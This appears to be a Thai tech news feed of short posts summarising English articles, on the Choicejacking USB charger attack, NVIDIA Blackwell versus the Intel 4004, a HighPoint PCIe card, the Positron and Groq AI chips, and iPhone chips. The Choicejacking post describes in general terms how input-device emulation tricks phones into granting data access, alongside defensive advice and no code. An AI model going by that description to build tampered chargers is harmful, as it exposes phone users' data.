    นักวิจัยจาก Graz University of Technology เป็นผู้ค้นพบและนำเสนอที่งาน USENIX Security Symposium 2025
    เป็นการพัฒนาต่อจาก Juice Jacking ที่เคยเป็นภัยใหญ่เมื่อสิบปีก่อน
    ได้รับการยอมรับจากผู้ผลิตมือถือรายใหญ่ เช่น Apple, Google, Samsung, Xiaomi

    Choicejacking สามารถเข้าถึงข้อมูลส่วนตัว เช่น รูปภาพ, เอกสาร, ข้อมูลแอปพลิเคชัน
    ทดสอบกับมือถือจาก 8 ผู้ผลิตหลัก และพบว่าทุกเครื่องมีช่องโหว่
    บางรุ่นสามารถขโมยข้อมูลได้แม้หน้าจอจะล็อกอยู่

    มีการใช้เทคนิคเสริม เช่น การตรวจจับช่วงเวลาที่ผู้ใช้ไม่สังเกตหน้าจอผ่านสายไฟ (power line side-channel)
    ใช้ช่วงที่ผู้ใช้กำลังโทรศัพท์หรือดูวิดีโอเพื่อหลบเลี่ยงการตรวจจับ
    เพิ่มความแนบเนียนในการโจมตี

    ผู้ผลิตระบบปฏิบัติการเริ่มออกแพตช์เพื่อป้องกัน Choicejacking
    iOS 18.4 และ Android 15 เพิ่มการยืนยันตัวตนก่อนอนุญาตการเชื่อมต่อ USB
    แต่บางรุ่น เช่น Samsung ที่ใช้ One UI 7 ยังไม่มีการบังคับใช้การยืนยัน

    การใช้พอร์ต USB สาธารณะ เช่น ที่สนามบิน, โรงแรม, ร้านกาแฟ อาจเสี่ยงต่อการถูกโจมตี
    แม้จะดูปลอดภัย แต่พอร์ตอาจถูกดัดแปลงให้เป็นอุปกรณ์โจมตี
    การเสียบสายโดยไม่ระวังอาจเปิดช่องให้แฮกเกอร์เข้าถึงข้อมูลได้ทันที

    การโจมตีสามารถเกิดขึ้นได้แม้ผู้ใช้ไม่ได้แตะหน้าจอเลย
    ใช้การจำลองคีย์บอร์ดหรืออุปกรณ์ Bluetooth เพื่อส่งคำสั่งปลอม
    ผู้ใช้ไม่มีโอกาสเห็นหรือยกเลิกการอนุญาต

    มือถือบางรุ่นยังไม่มีการบังคับให้ยืนยันตัวตนก่อนอนุญาตการเชื่อมต่อข้อมูล
    แม้จะอัปเดตเป็น Android 15 แล้ว แต่บางแบรนด์ยังไม่เปิดใช้ฟีเจอร์นี้
    ทำให้ผู้ใช้ยังเสี่ยงต่อการถูกโจมตี Choicejacking

    อุปกรณ์ป้องกันแบบเดิม เช่น USB data blocker อาจไม่เพียงพออีกต่อไป
    Choicejacking ใช้ช่องทางใหม่ที่ไม่ถูกบล็อกโดยอุปกรณ์เหล่านี้
    ต้องใช้มาตรการเสริม เช่น สายชาร์จแบบ “charge-only” หรือ power bank ส่วนตัว

    https://hackread.com/choicejacking-attack-steals-data-phones-public-chargers/
    🔌 เรื่องเล่าจากพอร์ตชาร์จ: เมื่อการเสียบสายกลายเป็นการเปิดประตูให้แฮกเกอร์ ย้อนกลับไปเมื่อสิบปีก่อน โลกเคยตื่นตัวกับภัย “Juice Jacking” ที่ใช้พอร์ต USB สาธารณะในการติดตั้งมัลแวร์หรือขโมยข้อมูลจากมือถือที่เสียบชาร์จ ทำให้ผู้ผลิตระบบปฏิบัติการมือถืออย่าง Apple และ Google ต้องออกมาตรการป้องกัน เช่น การให้ผู้ใช้เลือก “Charge only” หรือ “Transfer files” ทุกครั้งที่เสียบสาย แต่ในปี 2025 นักวิจัยจาก Graz University of Technology ประเทศออสเตรีย ได้เปิดเผยเทคนิคใหม่ชื่อว่า Choicejacking ซึ่งสามารถหลอกให้มือถืออนุญาตการเชื่อมต่อข้อมูลโดยที่ผู้ใช้ไม่รู้ตัวเลยแม้แต่นิดเดียว Choicejacking ไม่ใช่มัลแวร์แบบเดิม แต่ใช้การจำลองอุปกรณ์ USB หรือ Bluetooth เช่น คีย์บอร์ด เพื่อส่งคำสั่งปลอมไปยังมือถือให้ตอบตกลงกับหน้าต่างแจ้งเตือนการเชื่อมต่อข้อมูล โดยใช้เวลาเพียง 133 มิลลิวินาที—เร็วกว่าการกระพริบตา! ✅ Choicejacking เป็นเทคนิคใหม่ที่สามารถหลอกมือถือให้อนุญาตการเชื่อมต่อข้อมูลโดยไม่ต้องแตะหน้าจอ ➡️ ใช้การจำลองอุปกรณ์ USB หรือ Bluetooth เพื่อส่งคำสั่งปลอม ➡️ ใช้เวลาเพียง 133 มิลลิวินาทีในการดำเนินการ ✅ นักวิจัยจาก Graz University of Technology เป็นผู้ค้นพบและนำเสนอที่งาน USENIX Security Symposium 2025 ➡️ เป็นการพัฒนาต่อจาก Juice Jacking ที่เคยเป็นภัยใหญ่เมื่อสิบปีก่อน ➡️ ได้รับการยอมรับจากผู้ผลิตมือถือรายใหญ่ เช่น Apple, Google, Samsung, Xiaomi ✅ Choicejacking สามารถเข้าถึงข้อมูลส่วนตัว เช่น รูปภาพ, เอกสาร, ข้อมูลแอปพลิเคชัน ➡️ ทดสอบกับมือถือจาก 8 ผู้ผลิตหลัก และพบว่าทุกเครื่องมีช่องโหว่ ➡️ บางรุ่นสามารถขโมยข้อมูลได้แม้หน้าจอจะล็อกอยู่ ✅ มีการใช้เทคนิคเสริม เช่น การตรวจจับช่วงเวลาที่ผู้ใช้ไม่สังเกตหน้าจอผ่านสายไฟ (power line side-channel) ➡️ ใช้ช่วงที่ผู้ใช้กำลังโทรศัพท์หรือดูวิดีโอเพื่อหลบเลี่ยงการตรวจจับ ➡️ เพิ่มความแนบเนียนในการโจมตี ✅ ผู้ผลิตระบบปฏิบัติการเริ่มออกแพตช์เพื่อป้องกัน Choicejacking ➡️ iOS 18.4 และ Android 15 เพิ่มการยืนยันตัวตนก่อนอนุญาตการเชื่อมต่อ USB ➡️ แต่บางรุ่น เช่น Samsung ที่ใช้ One UI 7 ยังไม่มีการบังคับใช้การยืนยัน ‼️ การใช้พอร์ต USB สาธารณะ เช่น ที่สนามบิน, โรงแรม, ร้านกาแฟ อาจเสี่ยงต่อการถูกโจมตี ⛔ แม้จะดูปลอดภัย แต่พอร์ตอาจถูกดัดแปลงให้เป็นอุปกรณ์โจมตี ⛔ การเสียบสายโดยไม่ระวังอาจเปิดช่องให้แฮกเกอร์เข้าถึงข้อมูลได้ทันที ‼️ การโจมตีสามารถเกิดขึ้นได้แม้ผู้ใช้ไม่ได้แตะหน้าจอเลย ⛔ ใช้การจำลองคีย์บอร์ดหรืออุปกรณ์ Bluetooth เพื่อส่งคำสั่งปลอม ⛔ ผู้ใช้ไม่มีโอกาสเห็นหรือยกเลิกการอนุญาต ‼️ มือถือบางรุ่นยังไม่มีการบังคับให้ยืนยันตัวตนก่อนอนุญาตการเชื่อมต่อข้อมูล ⛔ แม้จะอัปเดตเป็น Android 15 แล้ว แต่บางแบรนด์ยังไม่เปิดใช้ฟีเจอร์นี้ ⛔ ทำให้ผู้ใช้ยังเสี่ยงต่อการถูกโจมตี Choicejacking ‼️ อุปกรณ์ป้องกันแบบเดิม เช่น USB data blocker อาจไม่เพียงพออีกต่อไป ⛔ Choicejacking ใช้ช่องทางใหม่ที่ไม่ถูกบล็อกโดยอุปกรณ์เหล่านี้ ⛔ ต้องใช้มาตรการเสริม เช่น สายชาร์จแบบ “charge-only” หรือ power bank ส่วนตัว https://hackread.com/choicejacking-attack-steals-data-phones-public-chargers/
    HACKREAD.COM
    New Choicejacking Attack Steals Data from Phones via Public Chargers
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 Comments 0 Shares 150 Views 0 Reviews
  • เรื่องเล่าจากโลกชิป: จาก 4 บิตสู่ 10 ล้านล้านพารามิเตอร์

    ย้อนกลับไปปี 1971 Intel เปิดตัวชิป 4004 ซึ่งเป็นไมโครโปรเซสเซอร์ตัวแรกของโลก ด้วยความเร็วเพียง 740kHz และประมวลผลได้ 92,600 คำสั่งต่อวินาที (IPS) ใช้หน่วยความจำแค่ 4KB ROM และ 640 bytes RAM—เล็กจนเทียบไม่ได้กับมือถือยุคนี้

    แต่ในปี 2025 NVIDIA เปิดตัว Blackwell ซึ่งเป็นชิป AI ที่ทรงพลังที่สุดในโลก ด้วยพลังประมวลผลสูงถึง 20 PetaFLOPS ต่อ GPU รองรับโมเดลขนาด 10 ล้านล้านพารามิเตอร์ และใช้เทคโนโลยี NVLink รุ่นที่ 5 ที่เชื่อมต่อ GPU ได้ถึง 576 ตัวในคลัสเตอร์เดียว

    เมื่อเปรียบเทียบกันแล้ว Blackwell มีประสิทธิภาพมากกว่า Intel 4004 ถึง 217 ล้านเท่า! นี่คือผลลัพธ์ของการพัฒนาอย่างต่อเนื่องตามกฎของ Moore’s Law และความต้องการด้าน AI ที่เติบโตแบบทวีคูณ

    Intel 4004 คือจุดเริ่มต้นของยุคไมโครโปรเซสเซอร์ในปี 1971
    ความเร็ว 740kHz, 4-bit CPU, 2,300 ทรานซิสเตอร์
    ใช้ในเครื่องคิดเลขของบริษัท Busicom

    NVIDIA Blackwell คือชิป AI ที่ทรงพลังที่สุดในปี 2025
    มี 208 พันล้านทรานซิสเตอร์
    รองรับโมเดล AI ขนาด 10 ล้านล้านพารามิเตอร์
    ใช้เทคโนโลยี NVLink 5.0 ที่มีแบนด์วิดธ์ 1.8TB/s ต่อ GPU

    Blackwell มีพลังประมวลผลสูงถึง 20 PetaFLOPS ต่อ GPU
    ใช้หน่วยความจำ HBM3e สูงสุด 192GB
    มี Tensor Core รุ่นใหม่ที่รองรับ FP4 สำหรับ AI inference

    การพัฒนาใน 50 ปีทำให้ประสิทธิภาพเพิ่มขึ้นถึง 217 ล้านเท่า
    จาก 92,600 IPS ของ 4004 สู่ระดับ ExaFLOPS ของ Blackwell
    สะท้อนความก้าวหน้าของมนุษยชาติในด้านคอมพิวเตอร์

    Blackwell ถูกนำไปใช้ในระบบ AI ของบริษัทชั้นนำทั่วโลก
    เช่น Microsoft Azure, Google DeepMind, Meta, Tesla และ OpenAI
    ใช้ในงาน LLM, quantum computing, และ data analytics

    https://wccftech.com/computing-power-has-skyrocketed-over-the-last-50-years-with-a-whopping-217-million-times-increase/
    🧠 เรื่องเล่าจากโลกชิป: จาก 4 บิตสู่ 10 ล้านล้านพารามิเตอร์ ย้อนกลับไปปี 1971 Intel เปิดตัวชิป 4004 ซึ่งเป็นไมโครโปรเซสเซอร์ตัวแรกของโลก ด้วยความเร็วเพียง 740kHz และประมวลผลได้ 92,600 คำสั่งต่อวินาที (IPS) ใช้หน่วยความจำแค่ 4KB ROM และ 640 bytes RAM—เล็กจนเทียบไม่ได้กับมือถือยุคนี้ แต่ในปี 2025 NVIDIA เปิดตัว Blackwell ซึ่งเป็นชิป AI ที่ทรงพลังที่สุดในโลก ด้วยพลังประมวลผลสูงถึง 20 PetaFLOPS ต่อ GPU รองรับโมเดลขนาด 10 ล้านล้านพารามิเตอร์ และใช้เทคโนโลยี NVLink รุ่นที่ 5 ที่เชื่อมต่อ GPU ได้ถึง 576 ตัวในคลัสเตอร์เดียว เมื่อเปรียบเทียบกันแล้ว Blackwell มีประสิทธิภาพมากกว่า Intel 4004 ถึง 217 ล้านเท่า! นี่คือผลลัพธ์ของการพัฒนาอย่างต่อเนื่องตามกฎของ Moore’s Law และความต้องการด้าน AI ที่เติบโตแบบทวีคูณ ✅ Intel 4004 คือจุดเริ่มต้นของยุคไมโครโปรเซสเซอร์ในปี 1971 ➡️ ความเร็ว 740kHz, 4-bit CPU, 2,300 ทรานซิสเตอร์ ➡️ ใช้ในเครื่องคิดเลขของบริษัท Busicom ✅ NVIDIA Blackwell คือชิป AI ที่ทรงพลังที่สุดในปี 2025 ➡️ มี 208 พันล้านทรานซิสเตอร์ ➡️ รองรับโมเดล AI ขนาด 10 ล้านล้านพารามิเตอร์ ➡️ ใช้เทคโนโลยี NVLink 5.0 ที่มีแบนด์วิดธ์ 1.8TB/s ต่อ GPU ✅ Blackwell มีพลังประมวลผลสูงถึง 20 PetaFLOPS ต่อ GPU ➡️ ใช้หน่วยความจำ HBM3e สูงสุด 192GB ➡️ มี Tensor Core รุ่นใหม่ที่รองรับ FP4 สำหรับ AI inference ✅ การพัฒนาใน 50 ปีทำให้ประสิทธิภาพเพิ่มขึ้นถึง 217 ล้านเท่า ➡️ จาก 92,600 IPS ของ 4004 สู่ระดับ ExaFLOPS ของ Blackwell ➡️ สะท้อนความก้าวหน้าของมนุษยชาติในด้านคอมพิวเตอร์ ✅ Blackwell ถูกนำไปใช้ในระบบ AI ของบริษัทชั้นนำทั่วโลก ➡️ เช่น Microsoft Azure, Google DeepMind, Meta, Tesla และ OpenAI ➡️ ใช้ในงาน LLM, quantum computing, และ data analytics https://wccftech.com/computing-power-has-skyrocketed-over-the-last-50-years-with-a-whopping-217-million-times-increase/
    WCCFTECH.COM
    Computing Power Has Skyrocketed Over the Last 50 Years, With a Whopping 217 Million Times Increase in Performance — From the Humble Intel 4004 to Cutting-Edge NVIDIA Blackwell Chip
    The evolution of humans has been the "talk of the town," but in the computing segment, we have achieved a lot in just five decades.
    0 Comments 0 Shares 105 Views 0 Reviews
  • เรื่องเล่าจากโลกฮาร์ดแวร์: เมื่อสล็อตเดียวกลายเป็นศูนย์กลางพลังประมวลผลและจัดเก็บข้อมูล

    Rocket 7638D คือการ์ดเสริมที่ออกแบบมาเพื่อแก้ปัญหาความจำกัดของพื้นที่ในเซิร์ฟเวอร์และเวิร์กสเตชัน โดยรวมการเชื่อมต่อ GPU ภายนอกและ SSD NVMe ภายในไว้ในสล็อต PCIe เดียว รองรับ GPU ขนาดใหญ่ระดับ RTX 5090 ผ่านพอร์ต CDFP และเชื่อมต่อ SSD ได้ถึง 16 ตัวผ่านพอร์ต MCIO

    เมื่อจับคู่กับ SSD ขนาด 245.66TB อย่าง Kioxia LC9 ก็สามารถสร้างระบบจัดเก็บข้อมูลได้ถึง 4PB—เหมาะสำหรับงาน AI inference, HPC, การตัดต่อวิดีโอระดับมืออาชีพ และงานที่ต้องการความหนาแน่นสูง

    HighPoint เปิดตัว Rocket 7638D ที่งาน FMS2025
    เป็นการ์ด PCIe Gen5 x16 แบบ single-slot
    รวม GPU และ SSD ไว้ในสล็อตเดียว

    รองรับ GPU ระดับสูงผ่านพอร์ต CDFP
    รองรับ GPU Gen5 แบบ dual/triple-slot ยาวถึง 370mm
    ใช้งานร่วมกับ Nvidia GeForce RTX 5090 ได้

    รองรับ SSD NVMe ได้สูงสุด 16 ตัวผ่านพอร์ต MCIO
    ใช้สายมาตรฐานหรือ backplane
    รองรับ SSD ขนาดใหญ่ เช่น Kioxia LC9 (245.66TB)

    สามารถสร้างระบบจัดเก็บข้อมูลได้ถึง 4PB
    เหมาะสำหรับงาน AI, HPC, และ media production
    ลดจำนวนสล็อตที่ต้องใช้ในระบบ

    มีฟีเจอร์สำหรับการจัดการและตรวจสอบระบบ
    มี LED, CLI, และเครื่องมือ firmware สำหรับจัดการ lane, power, และสถานะอุปกรณ์
    รองรับการตรวจสอบแบบเรียลไทม์

    เป็นส่วนหนึ่งของ Rocket Series ที่รองรับ NVMe หลากหลายรูปแบบ
    M.2, U.2/U.3, E1.S, E3.S, ESDFF
    รองรับการขยายระบบได้ถึง 32 SSD หรือ 8 accelerators ต่อสล็อต

    การใช้งาน Rocket 7638D อาจเผชิญข้อจำกัดด้านพลังงานและความร้อน
    ต้องมีระบบระบายความร้อนและจ่ายไฟที่เหมาะสม
    หากไม่จัดการดี อาจเกิดปัญหาเสถียรภาพหรือประสิทธิภาพลดลง

    การ์ดระดับนี้มีราคาสูงและต้องการระบบที่รองรับ Gen5 เต็มรูปแบบ
    เมนบอร์ดและระบบต้องรองรับ PCIe Gen5 x16
    อุปกรณ์เสริม เช่น backplane และสาย MCIO อาจมีต้นทุนเพิ่มเติม

    การรวม GPU และ SSD ไว้ในสล็อตเดียวอาจทำให้การบำรุงรักษาซับซ้อนขึ้น
    หากอุปกรณ์ใดอุปกรณ์หนึ่งเสีย อาจต้องถอดทั้งการ์ด
    การจัดการความร้อนและสายไฟต้องวางแผนอย่างรอบคอบ

    https://www.techradar.com/pro/want-to-host-an-nvidia-geforce-rtx-5090-gpu-and-up-to-4pb-of-ssd-storage-on-one-single-pcie-slot-heres-how-to-do-it
    🚀 เรื่องเล่าจากโลกฮาร์ดแวร์: เมื่อสล็อตเดียวกลายเป็นศูนย์กลางพลังประมวลผลและจัดเก็บข้อมูล Rocket 7638D คือการ์ดเสริมที่ออกแบบมาเพื่อแก้ปัญหาความจำกัดของพื้นที่ในเซิร์ฟเวอร์และเวิร์กสเตชัน โดยรวมการเชื่อมต่อ GPU ภายนอกและ SSD NVMe ภายในไว้ในสล็อต PCIe เดียว รองรับ GPU ขนาดใหญ่ระดับ RTX 5090 ผ่านพอร์ต CDFP และเชื่อมต่อ SSD ได้ถึง 16 ตัวผ่านพอร์ต MCIO เมื่อจับคู่กับ SSD ขนาด 245.66TB อย่าง Kioxia LC9 ก็สามารถสร้างระบบจัดเก็บข้อมูลได้ถึง 4PB—เหมาะสำหรับงาน AI inference, HPC, การตัดต่อวิดีโอระดับมืออาชีพ และงานที่ต้องการความหนาแน่นสูง ✅ HighPoint เปิดตัว Rocket 7638D ที่งาน FMS2025 ➡️ เป็นการ์ด PCIe Gen5 x16 แบบ single-slot ➡️ รวม GPU และ SSD ไว้ในสล็อตเดียว ✅ รองรับ GPU ระดับสูงผ่านพอร์ต CDFP ➡️ รองรับ GPU Gen5 แบบ dual/triple-slot ยาวถึง 370mm ➡️ ใช้งานร่วมกับ Nvidia GeForce RTX 5090 ได้ ✅ รองรับ SSD NVMe ได้สูงสุด 16 ตัวผ่านพอร์ต MCIO ➡️ ใช้สายมาตรฐานหรือ backplane ➡️ รองรับ SSD ขนาดใหญ่ เช่น Kioxia LC9 (245.66TB) ✅ สามารถสร้างระบบจัดเก็บข้อมูลได้ถึง 4PB ➡️ เหมาะสำหรับงาน AI, HPC, และ media production ➡️ ลดจำนวนสล็อตที่ต้องใช้ในระบบ ✅ มีฟีเจอร์สำหรับการจัดการและตรวจสอบระบบ ➡️ มี LED, CLI, และเครื่องมือ firmware สำหรับจัดการ lane, power, และสถานะอุปกรณ์ ➡️ รองรับการตรวจสอบแบบเรียลไทม์ ✅ เป็นส่วนหนึ่งของ Rocket Series ที่รองรับ NVMe หลากหลายรูปแบบ ➡️ M.2, U.2/U.3, E1.S, E3.S, ESDFF ➡️ รองรับการขยายระบบได้ถึง 32 SSD หรือ 8 accelerators ต่อสล็อต ‼️ การใช้งาน Rocket 7638D อาจเผชิญข้อจำกัดด้านพลังงานและความร้อน ⛔ ต้องมีระบบระบายความร้อนและจ่ายไฟที่เหมาะสม ⛔ หากไม่จัดการดี อาจเกิดปัญหาเสถียรภาพหรือประสิทธิภาพลดลง ‼️ การ์ดระดับนี้มีราคาสูงและต้องการระบบที่รองรับ Gen5 เต็มรูปแบบ ⛔ เมนบอร์ดและระบบต้องรองรับ PCIe Gen5 x16 ⛔ อุปกรณ์เสริม เช่น backplane และสาย MCIO อาจมีต้นทุนเพิ่มเติม ‼️ การรวม GPU และ SSD ไว้ในสล็อตเดียวอาจทำให้การบำรุงรักษาซับซ้อนขึ้น ⛔ หากอุปกรณ์ใดอุปกรณ์หนึ่งเสีย อาจต้องถอดทั้งการ์ด ⛔ การจัดการความร้อนและสายไฟต้องวางแผนอย่างรอบคอบ https://www.techradar.com/pro/want-to-host-an-nvidia-geforce-rtx-5090-gpu-and-up-to-4pb-of-ssd-storage-on-one-single-pcie-slot-heres-how-to-do-it
    0 Comments 0 Shares 124 Views 0 Reviews
  • ⚡️ เรื่องเล่าจากสนามแข่งขันชิป AI: เมื่อ Positron และ Groq ลุกขึ้นสู้ Nvidia ด้วยพลังงานที่น้อยกว่าแต่เร็วกว่า

    ในยุคที่ AI กลายเป็นหัวใจของทุกอุตสาหกรรม ความต้องการพลังงานในการประมวลผลก็พุ่งสูงขึ้นอย่างน่ากังวล โดยเฉพาะในขั้นตอน “inference” หรือการนำโมเดลที่ฝึกแล้วมาใช้งานจริง เช่น การตอบคำถามหรือสร้างภาพ ซึ่งใช้พลังงานมหาศาล

    Positron บริษัทสตาร์ทอัพจากสหรัฐฯ ก่อตั้งในปี 2023 ได้พัฒนาชิปที่เน้นเฉพาะการ inference โดยตัดฟังก์ชันที่ไม่จำเป็นออกไป ทำให้ประหยัดพลังงานได้ถึง 6 เท่าเมื่อเทียบกับชิป Vera Rubin รุ่นใหม่ของ Nvidia และมีประสิทธิภาพต่อราคาดีกว่า 2–3 เท่า

    Groq อีกหนึ่งผู้ท้าชิง ใช้แนวคิด “assembly line” ในการประมวลผล AI โดยฝังหน่วยความจำไว้ในตัวชิป ทำให้ลดการเคลื่อนย้ายข้อมูลระหว่างชิป ซึ่งเป็นต้นเหตุของการใช้พลังงานสูง ชิปของ Groq ใช้พลังงานเพียง 1/3 ของ Nvidia แต่ให้ผลลัพธ์เร็วกว่า

    แม้ Nvidia จะยังครองตลาดด้วยชิป Blackwell และ Vera Rubin ที่มีประสิทธิภาพสูง แต่บริษัทหน้าใหม่เหล่านี้กำลังได้รับความสนใจจากผู้ให้บริการคลาวด์รายใหญ่ เช่น Cloudflare ที่เริ่มทดลองใช้งานจริงแล้ว

    Positron พัฒนาชิป AI inference ที่ประหยัดพลังงานและต้นทุนต่ำกว่าชิป Nvidia Vera Rubin
    ประหยัดพลังงานได้มากถึง 6 เท่า
    ประสิทธิภาพต่อราคาดีกว่า 2–3 เท่า

    Groq ใช้สถาปัตยกรรมแบบ assembly line พร้อมฝังหน่วยความจำในตัวชิป
    ลดการเคลื่อนย้ายข้อมูลระหว่างชิป
    ใช้พลังงานเพียง 1/3 ของ Nvidia แต่ให้ผลลัพธ์เร็วกว่า

    Cloudflare เริ่มทดลองใช้งานชิปของ Positron และ Groq ในระดับจริงจัง
    เป็นหนึ่งในบริษัทแรกที่ทดสอบชิปนอกเหนือจาก Nvidia อย่างจริงจัง
    หากผลลัพธ์เป็นไปตามที่โฆษณา จะขยายการใช้งานทั่วโลก

    Nvidia เปิดตัวชิป Vera Rubin และ Blackwell ที่มีประสิทธิภาพสูงขึ้นถึง 30 เท่า
    Vera Rubin มีหน่วยความจำ 288 GB และเชื่อมต่อด้วย NVLink ความเร็วสูง
    Blackwell Ultra ให้ประสิทธิภาพ inference สูงถึง 3.6 exaFLOPS

    บริษัทเทคโนโลยีใหญ่ เช่น Google, Amazon, Microsoft กำลังพัฒนาชิป inference ของตัวเอง
    เพื่อลดต้นทุนและพึ่งพา Nvidia ให้น้อยลง
    ลงทุนหลายพันล้านดอลลาร์ในชิปเฉพาะทาง

    แม้ชิปใหม่จะประหยัดพลังงาน แต่ความต้องการ AI ยังเติบโตเร็วกว่าการปรับปรุงประสิทธิภาพ
    คาดว่าการใช้พลังงานของ AI จะเพิ่มขึ้น 50% ต่อปีจนถึงปี 2030
    อาจทำให้โครงข่ายไฟฟ้ากลายเป็นคอขวดของการพัฒนา AI

    การพึ่งพา Nvidia มากเกินไปอาจสร้าง “Nvidia tax” ให้กับอุตสาหกรรม
    Nvidia มีอัตรากำไรขั้นต้นสูงถึง 60% จากการขายชิป
    ทำให้ต้นทุนการประมวลผล AI สูงเกินจำเป็น

    ชิปที่เน้น inference อาจไม่เหมาะกับงานที่ต้องการความยืดหยุ่นสูง
    Positron และ Groq เน้นเฉพาะงาน inference ไม่ครอบคลุมทุก workload
    อาจต้องใช้ร่วมกับชิปอื่นในระบบที่ซับซ้อน

    การเปลี่ยนมาใช้ชิปใหม่ต้องใช้เวลาในการปรับระบบและทดสอบความเข้ากันได้
    ต้องพิจารณาความเข้ากันได้กับ API และโครงสร้างคลาวด์เดิม
    อาจมีความเสี่ยงด้านการลงทุนหากชิปไม่ผ่านการทดสอบในระยะยาว

    https://www.techspot.com/news/108831-next-gen-chipmakers-aim-rein-ai-runaway-power.html
    ⚡️ เรื่องเล่าจากสนามแข่งขันชิป AI: เมื่อ Positron และ Groq ลุกขึ้นสู้ Nvidia ด้วยพลังงานที่น้อยกว่าแต่เร็วกว่า ในยุคที่ AI กลายเป็นหัวใจของทุกอุตสาหกรรม ความต้องการพลังงานในการประมวลผลก็พุ่งสูงขึ้นอย่างน่ากังวล โดยเฉพาะในขั้นตอน “inference” หรือการนำโมเดลที่ฝึกแล้วมาใช้งานจริง เช่น การตอบคำถามหรือสร้างภาพ ซึ่งใช้พลังงานมหาศาล Positron บริษัทสตาร์ทอัพจากสหรัฐฯ ก่อตั้งในปี 2023 ได้พัฒนาชิปที่เน้นเฉพาะการ inference โดยตัดฟังก์ชันที่ไม่จำเป็นออกไป ทำให้ประหยัดพลังงานได้ถึง 6 เท่าเมื่อเทียบกับชิป Vera Rubin รุ่นใหม่ของ Nvidia และมีประสิทธิภาพต่อราคาดีกว่า 2–3 เท่า Groq อีกหนึ่งผู้ท้าชิง ใช้แนวคิด “assembly line” ในการประมวลผล AI โดยฝังหน่วยความจำไว้ในตัวชิป ทำให้ลดการเคลื่อนย้ายข้อมูลระหว่างชิป ซึ่งเป็นต้นเหตุของการใช้พลังงานสูง ชิปของ Groq ใช้พลังงานเพียง 1/3 ของ Nvidia แต่ให้ผลลัพธ์เร็วกว่า แม้ Nvidia จะยังครองตลาดด้วยชิป Blackwell และ Vera Rubin ที่มีประสิทธิภาพสูง แต่บริษัทหน้าใหม่เหล่านี้กำลังได้รับความสนใจจากผู้ให้บริการคลาวด์รายใหญ่ เช่น Cloudflare ที่เริ่มทดลองใช้งานจริงแล้ว ✅ Positron พัฒนาชิป AI inference ที่ประหยัดพลังงานและต้นทุนต่ำกว่าชิป Nvidia Vera Rubin ➡️ ประหยัดพลังงานได้มากถึง 6 เท่า ➡️ ประสิทธิภาพต่อราคาดีกว่า 2–3 เท่า ✅ Groq ใช้สถาปัตยกรรมแบบ assembly line พร้อมฝังหน่วยความจำในตัวชิป ➡️ ลดการเคลื่อนย้ายข้อมูลระหว่างชิป ➡️ ใช้พลังงานเพียง 1/3 ของ Nvidia แต่ให้ผลลัพธ์เร็วกว่า ✅ Cloudflare เริ่มทดลองใช้งานชิปของ Positron และ Groq ในระดับจริงจัง ➡️ เป็นหนึ่งในบริษัทแรกที่ทดสอบชิปนอกเหนือจาก Nvidia อย่างจริงจัง ➡️ หากผลลัพธ์เป็นไปตามที่โฆษณา จะขยายการใช้งานทั่วโลก ✅ Nvidia เปิดตัวชิป Vera Rubin และ Blackwell ที่มีประสิทธิภาพสูงขึ้นถึง 30 เท่า ➡️ Vera Rubin มีหน่วยความจำ 288 GB และเชื่อมต่อด้วย NVLink ความเร็วสูง ➡️ Blackwell Ultra ให้ประสิทธิภาพ inference สูงถึง 3.6 exaFLOPS ✅ บริษัทเทคโนโลยีใหญ่ เช่น Google, Amazon, Microsoft กำลังพัฒนาชิป inference ของตัวเอง ➡️ เพื่อลดต้นทุนและพึ่งพา Nvidia ให้น้อยลง ➡️ ลงทุนหลายพันล้านดอลลาร์ในชิปเฉพาะทาง ‼️ แม้ชิปใหม่จะประหยัดพลังงาน แต่ความต้องการ AI ยังเติบโตเร็วกว่าการปรับปรุงประสิทธิภาพ ⛔ คาดว่าการใช้พลังงานของ AI จะเพิ่มขึ้น 50% ต่อปีจนถึงปี 2030 ⛔ อาจทำให้โครงข่ายไฟฟ้ากลายเป็นคอขวดของการพัฒนา AI ‼️ การพึ่งพา Nvidia มากเกินไปอาจสร้าง “Nvidia tax” ให้กับอุตสาหกรรม ⛔ Nvidia มีอัตรากำไรขั้นต้นสูงถึง 60% จากการขายชิป ⛔ ทำให้ต้นทุนการประมวลผล AI สูงเกินจำเป็น ‼️ ชิปที่เน้น inference อาจไม่เหมาะกับงานที่ต้องการความยืดหยุ่นสูง ⛔ Positron และ Groq เน้นเฉพาะงาน inference ไม่ครอบคลุมทุก workload ⛔ อาจต้องใช้ร่วมกับชิปอื่นในระบบที่ซับซ้อน ‼️ การเปลี่ยนมาใช้ชิปใหม่ต้องใช้เวลาในการปรับระบบและทดสอบความเข้ากันได้ ⛔ ต้องพิจารณาความเข้ากันได้กับ API และโครงสร้างคลาวด์เดิม ⛔ อาจมีความเสี่ยงด้านการลงทุนหากชิปไม่ผ่านการทดสอบในระยะยาว https://www.techspot.com/news/108831-next-gen-chipmakers-aim-rein-ai-runaway-power.html
    WWW.TECHSPOT.COM
    Positron bets on energy-efficient AI chips to challenge Nvidia's dominance
    Founded in 2023, Positron has rapidly attracted investment and attention from major cloud providers. The startup recently raised $51.6 million in new funding, bringing its total to...
    0 Comments 0 Shares 113 Views 0 Reviews
  • เรื่องเล่าจากชิป iPhone: จาก ARM11 สู่ A19 Pro ที่แรงกว่า MacBook

    ย้อนกลับไปปี 2007 ตอนที่ Steve Jobs เปิดตัว iPhone รุ่นแรก มันใช้ชิป ARM11 จาก Samsung ที่ทำงานที่ความเร็วเพียง 412MHz เท่านั้น แต่ในปี 2025 iPhone 17 Pro ที่กำลังจะเปิดตัว กลับใช้ชิป A19 Pro ที่มีความเร็วมากกว่า 4GHz และประสิทธิภาพสูงกว่าชิป M3 ใน MacBook Pro เสียอีก!

    การวิเคราะห์จาก PC Watch พบว่าในช่วง 17 ปีที่ผ่านมา iPhone มีประสิทธิภาพ CPU เพิ่มขึ้นถึง 385 เท่า และคาดว่า iPhone 17 Pro จะดันตัวเลขนี้ทะลุ 500 เท่า! ทั้งหมดนี้วัดจากคะแนน Geekbench ที่ใช้เปรียบเทียบความเร็วในการประมวลผลแบบ single-core และ multi-core

    Apple ยังคงยึดมั่นในดีไซน์ชิปแบบ 6-core ที่เน้นสมดุลระหว่างพลังและประสิทธิภาพ โดยไม่ตามกระแส Android ที่ใช้ 8 หรือ 10-core และผลลัพธ์ก็คือ iPhone ยังคงครองอันดับต้นๆ ในด้านประสิทธิภาพมาโดยตลอด

